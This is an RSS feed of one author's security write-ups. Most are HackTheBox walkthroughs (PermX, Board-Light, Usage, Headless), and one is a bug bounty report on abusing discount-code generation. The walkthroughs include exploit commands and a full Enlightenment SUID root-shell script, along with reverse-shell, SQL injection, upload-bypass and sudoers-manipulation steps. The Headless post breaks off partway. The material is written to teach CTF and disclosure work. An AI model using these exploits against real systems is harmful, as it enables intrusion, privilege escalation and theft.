<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Sam on Medium]]></title>
        <description><![CDATA[Stories by Sam on Medium]]></description>
        <link>https://medium.com/@sam_0x0?source=rss-61d62d2bc70f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*3-6QxMOzNien582LhZvITA.jpeg</url>
            <title>Stories by Sam on Medium</title>
            <link>https://medium.com/@sam_0x0?source=rss-61d62d2bc70f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 07:45:47 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sam_0x0/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[PermX HackTheBox Write-up]]></title>
            <link>https://medium.com/@sam_0x0/permx-hackthebox-write-up-513425a96a77?source=rss-61d62d2bc70f------2</link>
            <guid isPermaLink="false">https://medium.com/p/513425a96a77</guid>
            <category><![CDATA[cms]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Sam]]></dc:creator>
            <pubDate>Sun, 03 Nov 2024 05:23:16 GMT</pubDate>
            <atom:updated>2024-11-03T05:23:16.892Z</atom:updated>
            <content:encoded><![CDATA[<h3>Recon</h3><p>Let’s use Nmap.</p><pre>nmap -sV -sC -oA scan/result $IP</pre><p>We have 2 services HTTP and SSH running on our target so let’s see the website.</p><h3>HTTP — Port 80</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LGG8fatObPqMcDHKLcZxKg.png" /></figure><p>Let’s use feroxbuster.</p><pre>feroxbuster -u &quot;http://permx.htb/&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sP98q7Vm71lUR7H6GGreLQ.png" /></figure><p>This website is static.</p><p><strong>Subdomain Enumeration</strong></p><p>Let’s use Gobuster to discover subdomains.</p><pre>gobuster vhost -u &quot;http://permx.htb/&quot; -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain | grep &quot;Status: 200&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*s_7i9OR33sPhJK4MoF3tdw.png" /></figure><h3>lms.permx.htb</h3><p>Let’s add this subdomain to the host’s file.</p><pre>echo &quot;$IP permx.htb lms.permx.htb&quot; | sudo tee -a /etc/hosts</pre><p>Let’s check this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mjt_hiIvxiN1rtcheTXCrQ.png" /></figure><p>After searching on Google I found this exploit.</p><p><a href="https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc">GitHub - m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc: This is a script written in Python that allows the exploitation of the Chamilo&#39;s LMS software security flaw described in CVE-2023-4220</a></p><h3>Initial Foothold</h3><p>Let’s clone this repo.</p><pre>git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc.git<br>cd chamilo-lms-unauthenticated-big-upload-rce-poc/</pre><p>After this let’s scan our target if it is vulnerable or not.</p><pre>python3 main.py -u &quot;http://lms.permx.htb&quot; -a scan</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*7Zjkmupvax1-b7ys3LWxZg.png" /></figure><p>Now let’s take a reverse shell.</p><pre>python3 main.py -u &quot;http://lms.permx.htb&quot; -a revshell</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*feSPlbszsZPuNPUH3s73eQ.png" /></figure><h3>Priv-ESC: www-data — mtz</h3><p><strong>Enumeration</strong></p><pre>ss -ltnp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*K8iEJ3zx5Jx185NYs3oT9A.png" /></figure><p>Let’s search for any credentials for this database in the configuration file.</p><pre>find /var/www/chamilo/ -name configuration.php -type f 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*_WwzrhN0F1VX4Gi3h2B_0A.png" /></figure><pre>cat /var/www/chamilo/app/config/configuration.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*0UVP8r7IzkKn53vlZQUR9w.png" /></figure><p>Now let’s log into MySQL database.</p><pre>MySQL -u chamilo -h localhost -p</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*hmlCKzKV2UxauNp5yCJ7qg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*P3UBjLkg0qNukkRQPC-CAw.png" /></figure><p>I attempted to use John to crack these hashes, but John was unable to do so. Let’s try using the password database to log in as the user “mtz”.</p><pre>ssh mtz@permx.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MQjdLkCOCue9c9HJPwVQzg.png" /></figure><h3>Priv-ESC</h3><p><strong>Enumeration</strong></p><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*sS16zPIIy4L2ry0F99LdJQ.png" /></figure><pre>cat /opt/acl.sh<br>-------------------------------------------------------------------------------<br>#!/bin/bash<br><br>if [ &quot;$#&quot; -ne 3 ]; then<br>    /usr/bin/echo &quot;Usage: $0 user perm file&quot;<br>    exit 1<br>fi<br><br>user=&quot;$1&quot;<br>perm=&quot;$2&quot;<br>target=&quot;$3&quot;<br><br>if [[ &quot;$target&quot; != /home/mtz/* || &quot;$target&quot; == *..* ]]; then<br>    /usr/bin/echo &quot;Access denied.&quot;<br>    exit 1<br>fi<br><br># Check if the path is a file<br>if [ ! -f &quot;$target&quot; ]; then<br>    /usr/bin/echo &quot;Target must be a file.&quot;<br>    exit 1<br>fi<br><br>/usr/bin/sudo /usr/bin/setfacl -m u:&quot;$user&quot;:&quot;$perm&quot; &quot;$target&quot;</pre><p>After searching I found this article to help us.</p><p><a href="https://gtfobins.github.io/gtfobins/setfacl/">setfacl | GTFOBins</a></p><pre>ln -s /etc/sudoers test2<br>sudo /opt/acl.sh mtz rw /home/mtz/test2 <br>cat test2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*aDIzEL5nr7c_uEKYS_4t5w.png" /></figure><p>Now let’s add our user to run any command with “sudo”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/298/1*dofOAJVH3eBSzv0uy5Es4w.png" /></figure><pre>sudo bash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*3uCI6EglGMFAX8W18cCy2w.png" /></figure><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=513425a96a77" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Board-Light HackTheBox Write-up]]></title>
            <link>https://systemweakness.com/board-light-hackthebox-write-up-f5a79ec02449?source=rss-61d62d2bc70f------2</link>
            <guid isPermaLink="false">https://medium.com/p/f5a79ec02449</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <dc:creator><![CDATA[Sam]]></dc:creator>
            <pubDate>Sat, 28 Sep 2024 23:48:51 GMT</pubDate>
            <atom:updated>2024-10-01T09:31:58.156Z</atom:updated>
            <content:encoded><![CDATA[<h3>Recon</h3><p>Let’s scan our target.</p><pre>nmap -sV -sC -oA scan/result $IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*jmm1nHFkf3g0ehLWtky52A.png" /></figure><p>We have identified 2 open ports: SSH and HTTP on the target.</p><h3>HTTP — Port 80</h3><p>Let’s see the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fuS479RzKRqFDNAd_Pq5rg.png" /></figure><p>This website utilized PHP as the programming language, but I found nothing interesting after using Gobuster.</p><pre>gobuster dir -u &quot;&lt;http://$IP/&gt;&quot; -x php -w /usr/share/dirb/wordlists/small.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*JDBsf_mbr8adYWCYwYO_2A.png" /></figure><h3>Subdomain Enumeration</h3><p>Let’s use Gobuster.</p><pre>gobuster vhost -u &quot;&lt;http://Board.htb&gt;&quot; -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*rAmkIBXnI0HOhHhaw1PuMQ.png" /></figure><p>Now, you can use this command to add this subdomain to the host’s file.</p><pre>echo &#39;$IP Board.htb crm.board.htb&#39; | sudo tee -a /etc/hosts</pre><h3>crm.board.htb</h3><p>Now let’s see this subdomain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*giR0PbT--QidbsWy6eD6KA.png" /></figure><p>We have a login page. In this case, I tried using default credentials like admin: admin or root: root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jYegwbp4OhuucBBeCXDemg.png" /></figure><p>Poom, It’s work.</p><p>Now, let’s search for this version on Google.</p><p><a href="https://github.com/dollarboysushil/Dolibarr-17.0.0-Exploit-CVE-2023-30253?tab=readme-ov-file">GitHub - dollarboysushil/Dolibarr-17.0.0-Exploit-CVE-2023-30253: In Dolibarr 17.0.0 with the CMS Website plugin (core) enabled, an authenticated attacker can obtain remote command execution via php code injection bypassing the application restrictions.</a></p><p>I have found this repository. Now, let’s begin our exploitation.</p><h3>Exploitation</h3><p>After reading POC we now have a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U0T4DhqCKHW22puqYTd1aw.png" /></figure><h3>Priv-ESC: www-data — larissa</h3><p>After searching, I found the configuration file for this CMS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*5anxxooO253s8s10ixJ09A.png" /></figure><p>Now we have database creds let’s see the database.</p><pre>mysql -h 127.0.0.1 -u dolibarrowner -p<br>use dolibarr;<br>select login,pass_crypted from llx_user;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*8iRmOFG9fWIbbNJ7rU4FJQ.png" /></figure><p>I attempted to use John to crack these hashes, but only 1 hash has been cracked. I tried to log in to Larissa’s account using the password database.</p><pre>ssh larissa@board.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*H8GQ4dugNv8Ua3moSdBIFw.png" /></figure><p>Poom, It’s working.</p><h3>Priv-ESC</h3><p><strong>Enumeration</strong></p><p>After using Linpeas and searching for an hour I found this program “Enlightenment” is working</p><pre>find / -perm -u=s -type f -ls 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*snBIrgdotKegFfx7ExDvtw.png" /></figure><pre>enlightenment -version</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*o-42QkzI8vYx6cTPrOoDOg.png" /></figure><p><strong>Exploitation</strong></p><p>After searching on Google I found this exploit to help us in this process.</p><ul><li><a href="https://www.exploit-db.com/exploits/51180">OffSec&#39;s Exploit Database Archive</a></li><li><a href="https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2022-37706">CVE-mitre/CVE-2022-37706 at main · nu11secur1ty/CVE-mitre</a></li></ul><p>Let’s create a bash file called <a href="http://exploit.sh/">exploit.sh</a> and paste the code into this file.</p><pre>#!/usr/bin/bash<br># Idea by MaherAzzouz<br># Development by nu11secur1ty</pre><pre>echo &quot;CVE-2022-37706&quot;<br>echo &quot;[*] Trying to find the vulnerable SUID file...&quot;<br>echo &quot;[*] This may take few seconds...&quot;</pre><pre># The actual problem<br>file=$(find / -name enlightenment_sys -perm -4000 2&gt;/dev/null | head -1)<br>if [[ -z ${file} ]]<br>then<br>	echo &quot;[-] Couldn&#39;t find the vulnerable SUID file...&quot;<br>	echo &quot;[*] Enlightenment should be installed on your system.&quot;<br>	exit 1<br>fi</pre><pre>echo &quot;[+] Vulnerable SUID binary found!&quot;<br>echo &quot;[+] Trying to pop a root shell!&quot;<br>mkdir -p /tmp/net<br>mkdir -p &quot;/dev/../tmp/;/tmp/exploit&quot;</pre><pre>echo &quot;/bin/sh&quot; &gt; /tmp/exploit<br>chmod a+x /tmp/exploit<br>echo &quot;[+] Welcome to the rabbit hole :)&quot;</pre><pre>echo -e &quot;If it is not found in fstab, big deal :D &quot;<br>${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), &quot;/dev/../tmp/;/tmp/exploit&quot; /tmp///net</pre><pre>read -p &quot;Press any key to clean the evedence...&quot;<br>echo -e &quot;Please wait... &quot;</pre><pre>sleep 5<br>rm -rf /tmp/exploit<br>rm -rf /tmp/net<br>echo -e &quot;Done; Everything is clear ;)&quot;</pre><p>After that run the script after that you will be a root.</p><pre>chmod +x exploit.sh<br>./exploit.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*0CjVgboZVSWupd-Wdl8XMw.png" /></figure><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f5a79ec02449" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/board-light-hackthebox-write-up-f5a79ec02449">Board-Light HackTheBox Write-up</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting a Logic Bug in Discount Codes Generation]]></title>
            <link>https://infosecwriteups.com/exploiting-a-logic-bug-in-discount-code-generation-a7f624bb396f?source=rss-61d62d2bc70f------2</link>
            <guid isPermaLink="false">https://medium.com/p/a7f624bb396f</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[logic-bug]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[Sam]]></dc:creator>
            <pubDate>Sat, 28 Sep 2024 07:43:32 GMT</pubDate>
            <atom:updated>2024-10-18T06:31:36.599Z</atom:updated>
            <content:encoded><![CDATA[<p>In online shopping, we will find a wonderful feature most sites offer: discount codes, which provide great discounts on some products. So, what happens when hackers find a logic bug that allows them to create thousands of discount codes?</p><p>We have a target let’s call “<strong>xyz.com</strong>”.</p><blockquote>Usually, I start testing on a main domain and here I want to say that many researchers say that you will not find any bug in the main domain and this is a mistake. You should search and then move to the subdomains.</blockquote><p>First, I start using the web application like any other user to understand the website and all its functions and take some notes.</p><p>After understanding the site, I found a unique <strong>CSRF-Token</strong> that prevents CSRF attacks. The strange thing is that this token is fixed and does not change. This means that every user who visits the site has a unique <strong>CSRF-Token</strong> created for him that is fixed and does not change.</p><p>Usually, in this case, the <strong>CSRF-TOKEN</strong> is linked to one of the cookies that is essential for the site, so I began analyzing the cookies and sending more requests to understand and determine their importance.</p><h4>Analyzing the cookies</h4><p>Here I found some cookies like (<strong>XYZ</strong>, <strong>xyz_data, </strong>PHPSESSION<strong>)</strong></p><p><strong>XYZ Cookie: </strong>contains (hash_value)</p><p><strong>xyz_Data Cookie</strong>: contains some information for the user like (user_id: timestamp, etc..)</p><p><strong>PHPSESSION</strong>: This is a normal session given to the user after logging in.</p><p>After I opened my account from another device with the same account, I found that the <strong>CSRF-TOKEN</strong> had been changed. This means that the site depends on some user information such as IP, time, device information, etc, and Here, a unique <strong>CSRF-TOKEN </strong>is generated.</p><p>It’s good to understand that, After that I found a new function on the website it’s called a club.</p><blockquote>This feature allows users to join and give them some discount codes. The number of these codes is 7, and they are free and no more than that. After purchasing with these codes, the account that owns these codes gets points, and these points give it other discounts that reach more than 50%.</blockquote><p>Here, I created another account to test it and when I entered this feature I found this message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*GhlPHv1BZl6x5LObz7cLog.png" /><figcaption>The website needs a verification email</figcaption></figure><p>This means I am unable to join or use this feature here. I have switched to my other account to see the endpoints the site relies on.</p><p><strong>Endpoints</strong>:</p><ol><li>/api//join → Join to the club</li><li>/api/deactivate → Remove your account from this feature.</li><li>/api/discount_codes → Return discount codes</li></ol><p>After I understanding the most important endpoints, let’s move to the other account to see if we can use this feature or not.</p><p>Here, I send a POST request to join.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AY_PfOyypZPXEIyABO8oqg.png" /><figcaption>CSRF-Token Error</figcaption></figure><p>I encountered an error due to a missing CSRF token header. To obtain the token, I added a product to my favorites list, intercepted the request, and found the token. After copying this token, I went back to the join request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T6Mb1rrVmqtcDgwQjuAUNA.png" /></figure><p>Great it works then I moved on to reading the discount codes via ```/api/discount_codes```</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*-ctiNOAK6c-shvO_Wa80eQ.png" /><figcaption>Discount Codes</figcaption></figure><p>Now, I can use this feature without a verification email. I reported this as a privilege escalation, but the team closed my report as informative because there was no impact from this bug.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/266/1*2ATjEXUEnjnMBK67Vkz_5g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/352/0*GBC2gDFdych9JKIX.jpeg" /></figure><p>After two days, I returned to see if I could make a bigger impact. I asked myself, “What is crucial in this process? Are the discount codes working properly?” Now, I need to understand how the website generates discount codes. I jotted down the old discount codes in my notepad and started testing this feature. After deactivating and reactivating my account to check if I would receive the same codes, I discovered that the new discount codes were very different from the old ones. I noted the new codes and decided to repeat the process. Upon doing so, I found that the codes were indeed different, It’s good. Now, I need to verify that these codes have not been invalidated. I proceeded to my shopping cart, added some items, and applied the code to confirm its functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/345/1*o4d1YzCGga2Yx4IYOMD7bg.png" /></figure><p>Great, it doesn’t invalidate old codes. Now I need to write a script to exploit this bug.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FMFDyLJgQgr4%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DMFDyLJgQgr4&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FMFDyLJgQgr4%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/2327e56cb85528b9aaf57592b11259ff/href">https://medium.com/media/2327e56cb85528b9aaf57592b11259ff/href</a></iframe><p>After finishing this I found that it worked and there was no problem after that I did a crazy step which was collecting thousands of discount codes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/247/1*4YvI69_bt1qMFM5J59UxeA.png" /></figure><p>Here I was worried that the WAF would block me, but the WAF didn’t block me.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*QmeTQpzYXwJqSPXz" /><figcaption>Photo by <a href="https://unsplash.com/@sohailnj?utm_source=medium&amp;utm_medium=referral">sohail shaikh</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p><strong>Impact:</strong></p><ol><li>Generate Unlimited Discount Codes: Users can create numerous discount codes by repeatedly rejoining the club.</li><li>Financial Loss: These codes can be shared or sold, leading to significant financial losses for the business.</li><li>Abuse of Membership Privileges: Non-members can gain unauthorized access to benefits intended for paying members.</li><li>Hackers can abuse this bug and sell it on the dark web, causing financial losses.</li></ol><p>After reporting again, it was triaged and I received a bounty of $$$ 10 days later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/223/1*ILUmYGJLU9JDLL9To31W6A.png" /></figure><p>I hope you like it and that everything is clear. Thank you for reading.</p><p><strong>You can contact me at:</strong></p><p><a href="https://www.linkedin.com/in/eslam--omar/">Linkedin</a></p><p><a href="https://x.com/Sam_0x0">Twitter</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a7f624bb396f" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/exploiting-a-logic-bug-in-discount-code-generation-a7f624bb396f">Exploiting a Logic Bug in Discount Codes Generation</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Usage HackTheBox Write-up]]></title>
            <link>https://infosecwriteups.com/usage-hackthebox-write-up-0672e9155384?source=rss-61d62d2bc70f------2</link>
            <guid isPermaLink="false">https://medium.com/p/0672e9155384</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[usage]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[htb]]></category>
            <dc:creator><![CDATA[Sam]]></dc:creator>
            <pubDate>Sun, 11 Aug 2024 04:34:48 GMT</pubDate>
            <atom:updated>2024-08-22T12:35:48.611Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*e6AFFRnn9MO1u1Pm9uwcqQ.png" /></figure><p>Let’s get started.</p><h3>Recon</h3><p>We have 2 services HTTP and SSH running on our target</p><pre>nmap -sV -oA result $IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EBd3Dd8YcoOqldcr-1C1Ew.png" /><figcaption>Nmap</figcaption></figure><h4><strong>Website — Port 80</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G6WDneW7fl4IirjVPTTUjw.png" /></figure><p>Okay, let’s create a new account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RmfL0BuyedEQmnV1Kh2zeQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NJAd3c-KH1_BHHgjBHA7TA.png" /></figure><p>I found this page okay, let’s see the admin page. I found a new subdomain so I’ll add this subdomain to the host’s file and visit it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H29l95SvWPnADHdbyi_Lbw.png" /></figure><p>We have a login dashboard our target uses the Laravel framework which means we can’t use brute force attacks.</p><p>After searching I found this page let’s see it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ke8Yo2cftYrfNx25RdIcpg.png" /></figure><p>I found SQL injection in this functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sqDvUq138bbUekZ1W7SgmA.png" /></figure><p>Now, I’ll use Sqlmap to dump the database so I need to save this request in a req file.</p><pre>sqlmap -r req.txt --dbms=mysql --level=5 --risk=3 --threads 10 --all<br># OR<br>sqlmap -r req.txt -p email --dbms=mysql --level=5 --risk=3 --random-agent -D usage_blog -T admin_users -C username,password --dump-all</pre><p>Awesome, we have admin hash let’s use John to crack this.</p><pre>sudo john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VmUrv8TlbE7qzr3cnMTRPw.png" /></figure><p>Now, I’ll log in with these credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A1a0b6pt3lC2AR5eaIVnsA.png" /></figure><h4>Exploitation</h4><p>Now, we have some information like PHP and Laravel versions so I’ll use Google to search for any public exploit we can use in our attack.</p><p>After searching I found the Laravel admin version is vulnerable and we have File upload let’s test that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g234JyXRCp1f-aRxQfxBkw.png" /></figure><p>I’ll try uploading a PHP file to see if we can upload it but it’s not working.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cSn55V0Z_Nbp4rcJnyxZCQ.png" /></figure><p>So, I’ll edit Extinction to be like that .jpg.php and intercept the request by Burp-Suite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OeBxJ_OJbcxq6IwqMQ9Opw.png" /></figure><p>Okay, uploading successfully let’s see where we can find this file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EyZX_WEqc3qaEulD7y6yFg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1hxvkk7gFdf222VgM4zNHw.png" /></figure><p>Awesome, let’s take a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8sjWHJt5J0p9taDJcUW6kw.png" /></figure><p>After searching I found the SSH private key now we can log in via SSH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0yxzwvuEdufiFClH892YOw.png" /></figure><h4>Priv-ESC: dash — xander</h4><p>After searching I found a password in a hidden file.</p><pre>cat /home/dash/.monitrc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FbnC9mxSOsRz1erBTQyh7g.png" /></figure><h4>Priv-ESC</h4><p><strong>Enumeration</strong></p><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zLmwFFTm2gPoOfNx14PxCA.png" /></figure><p><strong>Exploitation</strong></p><pre>strings /usr/bin/usage_management</pre><p>We have an interesting binary let’s see it. now after searching this binary is using 7za to create a backup file with a .zip extension. the 7za is running in this path /var/www/html okay let’s go to this path and see it.</p><p><strong>Wildcards Spare tricks</strong></p><p><a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks">Wildcards Spare tricks | HackTricks</a></p><p>Now we can be a root by following these steps:</p><pre>touch @id_rsa; ln -s /root/.ssh/id_rsa<br>sudo /usr/bin/usage_management</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6X5cC049XDol8WZMt8Gdjw.png" /></figure><p>Awesome, we can read the private key, I’ll collect this and save it in id_rsa to log in via SSH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fYlyo3FjC_LlJLIqkMSHHQ.png" /></figure><p>Let’s set permission for the private key and log in.</p><pre>chmod 600 id_rsa<br>ssh -i id_rsa root@usage.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TWRqLSGP2O00zzwMNqm5xw.png" /></figure><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0672e9155384" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/usage-hackthebox-write-up-0672e9155384">Usage HackTheBox Write-up</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Headless HackTheBox Write-up]]></title>
            <link>https://medium.com/@sam_0x0/headless-hackthebox-write-up-7814d51b6fea?source=rss-61d62d2bc70f------2</link>
            <guid isPermaLink="false">https://medium.com/p/7814d51b6fea</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[pentest]]></category>
            <dc:creator><![CDATA[Sam]]></dc:creator>
            <pubDate>Sun, 21 Jul 2024 20:49:20 GMT</pubDate>
            <atom:updated>2024-07-21T20:49:47.499Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*0gLLkH0TknBAnrO6K5mEnA.png" /></figure><p><strong>Enumeration</strong></p><p>I scanned all ports via <strong>Masscan</strong> and then scanned open ports via <strong>Nmap</strong>.</p><pre>sudo nmap -sV -sC -sS -p 22,5000,34919,37349 -oA scan/result $IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WBFBEfarpCwN0y6TNrx9Sw.png" /></figure><p>Okay, We have a web application running on port 5000 let’s see it.</p><p><strong>Web 5000</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XcDiIE61vS8GpXO24jd_Ug.png" /></figure><p>We have a support page let’s it and I need fuzz to discover hidden files and directories.</p><pre>dirsearch -u &quot;http:$IP:5000&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3mKw7ib9NvMALc2QJs0KxA.png" /></figure><p>We have 2 Endpoints /dashboard that give us 401 a status code meaning Unauthorized and /support gives us 200 a status code meaning we can access this page let’s see them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yh16x44wQsAUehKsvxcoYw.png" /></figure><p>We need credentials or anything like that specific cookie if you remember when scanning open ports with <strong>Nmap </strong>we see a cookie called <strong>is_admin</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XVEZ3CssHdPMww_E6MHEwQ.png" /></figure><p>Let’s change the value of this cookie and send a request to the dashboard endpoint to see the response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tAp3aLgkWCAESDH-ePFbVA.png" /></figure><p>Okay, in this case, we need cookie admin to access the dashboard endpoint.</p><p>After searching in the web application and playing with requests I find this.</p><figure><img alt="" 